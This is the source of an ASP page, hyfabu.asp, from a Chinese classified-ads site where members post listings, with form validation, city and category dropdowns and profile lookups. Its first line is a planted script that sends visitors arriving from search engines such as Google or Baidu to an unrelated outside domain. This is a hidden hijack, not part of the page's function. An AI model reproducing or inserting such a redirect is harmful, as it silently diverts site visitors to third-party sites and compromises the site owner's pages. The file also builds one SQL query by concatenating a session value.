d:\wwwroot\wuchunhua\hyfabu.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="head.asp"-->
002: <!--#include file="admin/other/Check_Sql.asp" -->
003: <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
004: <%if session("china_uid")="" then
005: response.redirect "login.asp"
006: response.end
007: end if
008: %
>
009:
010: <SCRIPT LANGUAGE="JavaScript">
011: <!--//
012: function checkadd()
013: {  
014:     if (document.postart.dtitle.value.length<1)
015:    {
016:         alert("请填写信息标题!");
017:         document.postart.dtitle.focus();
018:         return false;
019:     }
020:    if (document.postart.city_one.value=="")
021:    {
022:         alert("请您选择城市!");
023:         document.postart.city_one.focus();
024:         return false;
025:     }
026:     if (document.postart.type_one.value=="")
027:    {
028:         alert("请选择信息类别!");
029:         document.postart.type_one.focus();
030:         return false;
031:     }
032:
033:     if (document.postart.dtext.value.length<1)
034:    {
035:         alert("请您填写信息内容!");
036:         document.postart.dtext.focus();
037:         return false;
038:     }
039:     if (document.postart.dtext.value.length>1500)
040:    {
041:         alert("请把信息内容的字数控制在1500以内!");
042:         document.postart.dtext.focus();
043:         return false;
044:     }
045:    if (document.postart.dusername.value.length == 0) {
046:       alert("请您填写联系人姓名!");
047:       document.postart.dusername.focus();
048:       return false;
049:    }
050:    var str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./'[]{}`1234567890-=\~!@#$%^&*()_+|?><:";
051:    var errorChar
052:    errorChar = isCharsInBag(postart.dusername.value,str)
053:    if (errorChar != "" )
054:    {
055:       alert('联系人姓名必须是中文!');
056:       postart.dusername.focus();
057:       return false;
058:    }
059: function isCharsInBag (s, bag)
060: {
061: var i,c;
062: for (i = 0; i < s.length; i++)
063: {
064: c = s.charAt(i);//字符串s中的字符
065: if (bag.indexOf(c) > -1)
066: return c;
067: }
068: return "";
069: }
070:   
071:        if(document.postart.dusername.value.length<2||document.postart.dusername.value.length>4){
072:       alert("联系人姓名不能少于2字多于4字!");
073:       document.postart.dusername.focus();
074:       return false;
075:    }  
076:
077:     if (document.postart.dtel.value.length<7)
078:    {
079:         alert("请填写您的联系电话,不能小于七位数!");
080:         document.postart.dtel.focus();
081:         return false;
082:     }
083:
084:     if (document.postart.dstop.value=="选择有效期")
085:    {
086:         alert("请选择有效期!");
087:         document.postart.dstop.focus();
088:         return false;
089:     }
090: }
091: //-->

092: </SCRIPT>
093: <SCRIPT LANGUAGE="JavaScript">      
094: <!-- Begin
095: maxLen = 1500;
096: function checkMaxInput(form) {
097: if (form.dtext.value.length > maxLen)
098: form.remLen.value = 0;
099: else form.remLen.value = maxLen - form.dtext.value.length;
100: }
101: //  End -->

102: </script>
103:
104: <script language="javascript" type="text/javascript">
105: <!--
106: function changeColor(o) {
107:     document.getElementById("colorBox").style.color = o.value;
108: }
109: //-->

110: </script>
111: <script language="javascript" type="text/javascript">
112: <!--
113: function changeColor1(o) {
114:     document.getElementById("colorBox1").style.background = o.value;
115: }
116: //-->

117: </script>
118:
119: <%
120: sql="select * from china_user where uid='"&session("china_uid")&"'"
121: set rs=server.createobject("adodb.recordset")
122: rs.open sql,conn,1,3
123: if not rs.eof then
124: username=rs("username")
125: cardid=rs("cardid")
126: tel=rs("tel")
127: email=rs("email")
128: qq=rs("qq")
129: add=rs("add")
130: rs.update
131: rs.close  
132: set rs=nothing
133: else
134: Response.write"<script>alert(""用户名("&session("china_uid")&")不存在数据库"");location.href=""index.asp"";</script>"  
135: response.end                                                                            
136: end if
137: RandNum=Session("CheckCode")
138:
139:
140: %
><body bgcolor="#FFFFFF">
141: <table width="860" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="CAE2F8">
142:    <tr>
143:      <td bgcolor="#FFFFFF"><TABLE width=100% border=0 align="center" cellPadding=0 cellSpacing=0 bgcolor="CAE2F8">
144:          <TBODY>
145:            <TR bgcolor="CAE2F8">
146:              <TD bgcolor="CAE2F8"><TABLE width=100% border=0 cellPadding=0 cellSpacing=0>
147:                  <TBODY>
148:                    <TR bgcolor="EFF7FE">
149:                      <TD width=23 vAlign=middle><div align="center"><IMG alt=arrow
150: src="images/arrow_01.gif"></div></TD>
151:                     
152:                 <TD height="28"><a href="user.asp"><font color="#CC0000">会员中心</font></a>
153:                   &gt;&gt; 发布分类信息(<span class="info6">带 <font color="#FF0000">*</font>
154:                   号的项目为必填项</span>)</TD>
155:                     
156:                 <TD align="right"><font color="#A2CCF2"><b><%=weblink%>&nbsp;</b></font></TD>
157:                    </TR>
158:                  </TBODY>
159:              </TABLE></TD>
160:            </TR>
161:          </TBODY>
162:      </TABLE></tD>
163:    </tr>
164:    <tr>
165:      <td bgcolor="#FFFFFF"> <br>
166:              <div align="center">
167:        <form action="hyfabu_save.asp" method="post" name="postart" onsubmit="return checkadd()">
168:          <table width="750" border="0" cellpadding="3" cellspacing="1" bgcolor="CAE2F8">
169:            <tr bgcolor="EFF7FE">
170:               <td colspan="3" height="28"><font color="#CC0000">请正确填写您的分类信息,以便达到最好效果。</font></td>
171:            </tr>
172:            <tr>
173:              <td width="100" align="right" bgcolor="EFF7FE">信息标题:</td>
174:              <td height="26" colspan="2" bgcolor="EFF7FE"><input type="text" name="dtitle" size="20" maxlength="10">
175:                <font color="#FF0000">* 10字以内</font></td>
176:            </tr>
177:            <tr bgcolor="#FFFFFF">
178:              <td align="right" valign="top" bgcolor="EFF7FE">
179:    <script>
180: function showadv()
181: {
182: if (document.all.advshow.checked == true) {
183:    document.getElementById("adv").style.display = "";
184:    document.getElementById("advance").innerText="关闭选项(会员功能)";
185: }else{
186:    document.getElementById("adv").style.display = "none";
187:    document.getElementById("advance").innerText="选中此项可DIY信息风格(会员功能)";
188: }
189: }
190: </script>
191: 更多选项:</td>
192:              <td height="26" colspan="2" bgcolor="EFF7FE"><input name=advshow type=checkbox value=1  onclick="showadv();"><font color="#FF0000"><span id=advance>选中此项可DIY信息风格(会员功能)</span></font>
193:           <table width="100%"  border="0" cellspacing="1" cellpadding="0" id="adv" style="display:none" bgcolor="#f4f4f4">
194:                <tr>
195:                  <td colspan="2">是否加粗:
196:                    <input type="radio" value="no" name="dcu">
197: 否&nbsp;
198: <input type="radio" value="yes" name="dcu" checked>
199: 是</td>
200:                  </tr>
201:                <tr>
202:                  <td>信息形式:
203:                    <input type="radio" value="no" name="dispic" checked>
204:                文字信息</td>
205:                  <td> </td>
206:                </tr>
207:             <%if webpic="0" then%>
208:             <tr>
209:                  <td colspan="2">图片路径:
210:                    <input name="dpic" type="text" value="http://" size="30" maxlength="100"></td>
211:                </tr>
212:             <%else%>
213:                <tr>
214:                  <td colspan="2">
215: 图片路径:
216:                    <input name="dpic" type="text" value="" size="30" maxlength="30">
217: <iframe style="top:2px" ID="UploadFiles" src="upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></iframe></td>
218:                  </tr><%end if%>
219:              </table>
220:           </td>
221:            </tr>
222:         <tr>
223:           <td height="26" align="right" bgcolor="#EFF7FE">选择城市:</td>
224:           <td height="26" bgcolor="EFF7FE"><%
225: set rs=conn.execute("select * from china_city where id>0 and twoid>0 and threeid=0")
226: %
>
227:       <script language = "JavaScript">
228: var onecount;
229: onecount=0;
230: subcat = new Array();
231:         <%
232:       dim count:count = 0
233:         do while not rs.eof
234:         %
>
235: subcat[<%=count%>] = new Array("<%=rs("city")%>","<%=rs("id")%>","<%=rs("twoid")%>");
236:         <%
237:         count = count + 1
238:         rs.movenext
239:         loop
240:         rs.close
241:       set rs=nothing
242:         %
>
243: onecount=<%=count%>;
244: </script>
245: <%
246: set rs=conn.execute("select * from china_city where id>0 and twoid>0 and threeid>0")
247: %
>
248: <script language = "JavaScript">
249: var onecount4;
250: onecount4=0;
251: subcat4 = new Array();
252:         <%
253:       dim count4:count4 = 0
254:         do while not rs.eof
255:         %
>
256: subcat4[<%=count4%>] = new Array("<%=rs("city")%>","<%=rs("id")%>","<%=rs("twoid")%>","<%=rs("threeid")%>");
257:         <%
258:         count4 = count4 + 1
259:         rs.movenext
260:         loop
261:         rs.close
262:       set rs = nothing
263:         %
>
264: onecount4=<%=count4%>;
265:
266: function changelocation(locationid)
267:     {
268:     document.postart.city_two.length = 0;
269:    document.postart.city_two.options[0] = new Option('选择城市','');
270:    document.postart.city_three.length = 0;
271:    document.postart.city_three.options[0] = new Option('选择城市','');
272:     var locationid=locationid;
273:     var i;
274:     for (i=0;i < onecount; i++)
275:         {
276:             if (subcat[i][1] == locationid)
277:             {
278:                 document.postart.city_two.options[document.postart.city_two.length] = new Option(subcat[i][0], subcat[i][2]);
279:             }        
280:         }
281:         
282:     }    
283:   
284:    function changelocation4(locationid,locationid1)
285:     {
286:     document.postart.city_three.length = 0;
287:     document.postart.city_three.options[0] = new Option('选择城市','');
288:     var locationid=locationid;
289:     var locationid1=locationid1;
290:     var i;
291:     for (i=0;i < onecount4; i++)
292:         {
293:             if (subcat4[i][2] == locationid)
294:             {
295:          if (subcat4[i][1] == locationid1)
296:          {
297:                 document.postart.city_three.options[document.postart.city_three.length] = new Option(subcat4[i][0], subcat4[i][3]);
298:             }        
299:         }
300:        }
301:     }            
302:               </script>
303:       <select name="city_one" size="1" id="select2" onChange="changelocation(document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
304:         <option value="" selected>选择城市</option>
305:         <%set rs=conn.execute("select * from china_city where id>0 and twoid=0")
306: if rs.eof or rs.bof then
307: response.write "<option value=''>没有分类</option>"
308: else
309: do until rs.eof
310: response.write "<option value='"&rs("id")&"'>"&rs("city")&"</option>"
311:     rs.movenext
312:     loop
313: end if
314: rs.close
315: set rs = nothing
316: %
>
317:       </select>
318:       <select name="city_two" id="city_two" onChange="changelocation4(document.postart.city_two.options[document.postart.city_two.selectedIndex].value,document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
319:     <option value="" selected>选择城市</option>
320:    </select>
321:         <select name="city_three" id="city_three">
322:         <option value="" selected>选择城市</option>
323:     </select>
324:               <font color="#FF0000">*</font> </td>
325:         </tr>
326:            <tr bgcolor="#FFFFFF">
327:              <td align="right" bgcolor="EFF7FE">信息类别:</td>
328:              <td height="26" colspan="2" bgcolor="EFF7FE"><%
329: set rs=conn.execute("select * from china_type where id>0 and twoid>0 and threeid=0")
330: %
>
331:       <script language = "JavaScript">
332: var onecount2;
333: onecount2=0;
334: subcat2 = new Array();
335:         <%
336:       dim count2:count2 = 0
337:         do while not rs.eof
338:         %
>
339: subcat2[<%=count2%>] = new Array("<%=rs("name")%>","<%=rs("id")%>","<%=rs("twoid")%>");
340:         <%
341:         count2 = count2 + 1
342:         rs.movenext
343:         loop
344:         rs.close
345:       set rs = nothing
346:         %
>
347: onecount2=<%=count2%>;
348: </script>
349:
350: <%
351: set rs=conn.execute("select * from china_type where id>0 and twoid>0 and threeid>0")
352: %
>
353: <script language = "JavaScript">
354: var onecount3;
355: onecount3=0;
356: subcat3 = new Array();
357:         <%
358:       dim count3:count3 = 0
359:         do while not rs.eof
360:         %
>
361: subcat3[<%=count3%>] = new Array("<%=rs("name")%>","<%=rs("id")%>","<%=rs("twoid")%>","<%=rs("threeid")%>");
362:         <%
363:         count3 = count3 + 1
364:         rs.movenext
365:         loop
366:         rs.close
367:       set rs = nothing
368:         %
>
369: onecount3=<%=count3%>;
370:
371:
372:
373: function changelocation2(locationid)
374:     {
375:     document.postart.type_two.length = 0;
376:     document.postart.type_two.options[0] = new Option('选择信息','');
377:    document.postart.type_three.length = 0;
378:     document.postart.type_three.options[0] = new Option('选择信息','');
379:     var locationid=locationid;
380:    var i;
381:     for (i=0;i < onecount2; i++)
382:         {
383:             if (subcat2[i][1] == locationid)
384:             {
385:                 document.postart.type_two.options[document.postart.type_two.length] = new Option(subcat2[i][0], subcat2[i][2]);
386:             }        
387:         }
388:       
389:     }    
390:      function changelocation3(locationid,locationid1)
391:     {
392:     document.postart.type_three.length = 0;
393:     document.postart.type_three.options[0] = new Option('选择信息','');
394:     var locationid=locationid;
395:     var locationid1=locationid1;
396:     var i;
397:     for (i=0;i < onecount3; i++)
398:         {
399:             if (subcat3[i][2] == locationid)
400:             {
401:          if (subcat3[i][1] == locationid1)
402:          {
403:                 document.postart.type_three.options[document.postart.type_three.length] = new Option(subcat3[i][0], subcat3[i][3]);
404:             }        
405:         }
406:        }
407:     }            
408:     </script>
409:       <select name="type_one" size="1" id="select3" onChange="changelocation2(document.postart.type_one.options[document.postart.type_one.selectedIndex].value)">
410:         <option value="" selected>选择信息</option>
411:         <%set rs=conn.execute("select * from china_type where id>0 and twoid=0")
412: if rs.eof or rs.bof then
413: response.write "<option value=''>没有分类</option>"
414: else
415: do until rs.eof
416: response.write "<option value='"&rs("id")&"'>"&rs("name")&"</option>"
417:     rs.movenext
418:     loop
419:    type_oneid=HtmlEncode(trim(request.form("type_one")))
420:    response.Write(type_oneid)
421: end if
422: rs.close
423: set rs = nothing
424: %
>
425:       </select>
426:       <select name="type_two" id="select4" onChange="changelocation3(document.postart.type_two.options[document.postart.type_two.selectedIndex].value,document.postart.type_one.options[document.postart.type_one.selectedIndex].value)">
427:         <option value="" selected>选择信息</option>
428:     </select>
429:    <select name="type_three" id="select5">
430:         <option value="" selected>选择信息</option>
431:     </select>      
432:    <font color="#FF0000">*</font>             </td>
433:            </tr>
434:            <tr bgcolor="#FFFFFF">
435:              <td align="right" valign="top" bgcolor="EFF7FE">信息内容:</td>
436:              <td colspan="2" bgcolor="EFF7FE"><textarea rows="8" name="dtext" cols="50" onKeyDown="checkMaxInput(this.form)" onKeyUp="checkMaxInput(this.form)"></textarea>
437:                  <font color="#FF0000">*&nbsp;<br>
438:                 </font> 目前还可写<font color="#FF0000">
439:                    <input readonly type=text name=remLen size=4 maxlength=4 value="1500" style="border: 1 solid #888888">
440:               </font>个字!</td>
441:            </tr>
442:            <tr bgcolor="#FFFFFF">
443:              <td align="right" valign="top" bgcolor="EFF7FE">
444: <script>
445: function showadvs()
446: {
447: if (document.all.advshows.checked == true) {
448:    document.getElementById("advs").style.display = "";
449:    document.getElementById("advances").innerText="关闭选项(会员功能,与用户资料同步)";
450: }else{
451:    document.getElementById("advs").style.display = "none";
452:    document.getElementById("advances").innerText="选中此项可查看联系方式(会员功能,与用户资料同步)";
453: }
454: }
455: </script>联系方式:</td>
456:              <td height="0" colspan="2" bgcolor="EFF7FE">
457: <input name=advshows type=checkbox value=1  onclick="showadvs();">
458:                <font color="#FF0000"><span id=advances>选中此项可查看联系方式(会员功能,与用户资料同步)</span></font>            <table width="100%"  border="0" cellspacing="1" cellpadding="0" id="advs" style="display:none" bgcolor="#f4f4f4">
459:                <tr>
460:                  <td width="15%">联 系 人:</td>
461:                  <td><input name="dusername" type="text" id="dusername" value="<%=username%>" size="20" maxlength="20" style="background-color:f4f4f4" disabled><input name="dusername1" value="<%=username%>" type="hidden">
462:                  <font color="#FF0000">* 中文(2-4字)</font></td>
463:                </tr>
464:                <tr <%if webcardid="0" then%>style="display:none"<%end if%>>
465:                  <td>身份证号:</td>
466:                  <td><input name="dcardid" type="text" id="dcardid" value="<%=cardid%>" size="20" maxlength="18" style="background-color:f4f4f4" disabled><input name="dcardid1" value="<%=cardid%>" type="hidden">
467:                  <font color="#FF0000">* 不可修改,本站保密</font></td>
468:                </tr>
469:                <tr>
470:                  <td>联系电话:</td>
471:                  <td><input name="dtel" type="text" id="dtel" value="<%=tel%>" size="20" maxlength="20" style="background-color:f4f4f4" disabled><input name="dtel1" value="<%=tel%>" type="hidden">
472:                  <font color="#FF0000">* 数字(7位以上)</font></td>
473:                </tr>
474:                <tr>
475:                  <td>   Email:</td>
476:                  <td><input name="demail" type="text" id="demail" value="<%=email%>" size="20" maxlength="20" style="background-color:f4f4f4" disabled></td>
477:                </tr>
478:                <tr>
479:                  <td>      QQ:</td>
480:                  <td><input name="dqq" type="text" id="dqq" value="<%=qq%>" size="20" maxlength="20" style="background-color:f4f4f4" disabled></td>
481:                </tr>
482:                <tr>
483:                  <td>      网址:</td>
484:                  <td>
485:                <input name="dadd" type="text" id="dadd" value="<%=add%>" size="20" maxlength="20" style="background-color:f4f4f4" disabled></td>
486:                </tr>
487:              </table>            </td>
488:            </tr>
489:            <tr bgcolor="#FFFFFF">
490:              <td align="right" bgcolor="EFF7FE">有效期至:</td>
491:              <td height="26" colspan="2" bgcolor="EFF7FE"><select size="1" name="dstop">
492:                  <option value="选择有效期" selected>选择有效期</option>
493:                  <option value="7">一星期</option>
494:                  <option value="15">半个月</option>
495:                  <option value="31">一个月</option>
496:                  <option value="61">两个月</option>
497:                  <option value="92">三个月</option>
498:                  <option value="183">半年</option>
499:                  <option value="365">一年</option>
500:                  <option value="3650">长期</option>
501:              </select></td>
502:            </tr>
503:            <tr bgcolor="#FFFFFF">
504:              <td align="right" bgcolor="EFF7FE">验证码:</td>
505:              <td height="30" colspan="2" align="left" bgcolor="EFF7FE"><input name="CheckCode" type="text" id="CheckCode" size=4 maxlength="4">  <img src="admin/other/china_GetCode.asp"></td>
506:            </tr>
507:            <tr bgcolor="#FFFFFF">
508:              <td align="right" bgcolor="EFF7FE">&nbsp;               </td>
509:              <td height="30" colspan="2" align="right" bgcolor="EFF7FE"><p align="left">
510:                  <input type="submit" value="发布" name="submit">
511:      &nbsp;
512:                  <input type="reset" value="取消" name="reset">
513: &nbsp;
514: <input type="button" value="返回" name="back" onclick="javascript:history.back()">
515: </td>
516:            </tr>
517:          </table>
518:        </form>
519:      </div><br>
520: </td>
521:    </tr>
522: </table>
523: <table  border="0" cellpadding="0" cellspacing="0" align="center" id="table23">
524:    <tr>
525:      <td height="6"></td>
526:    </tr>
527: </table>
528: <!--#include file="foot.asp"-->
529:
530: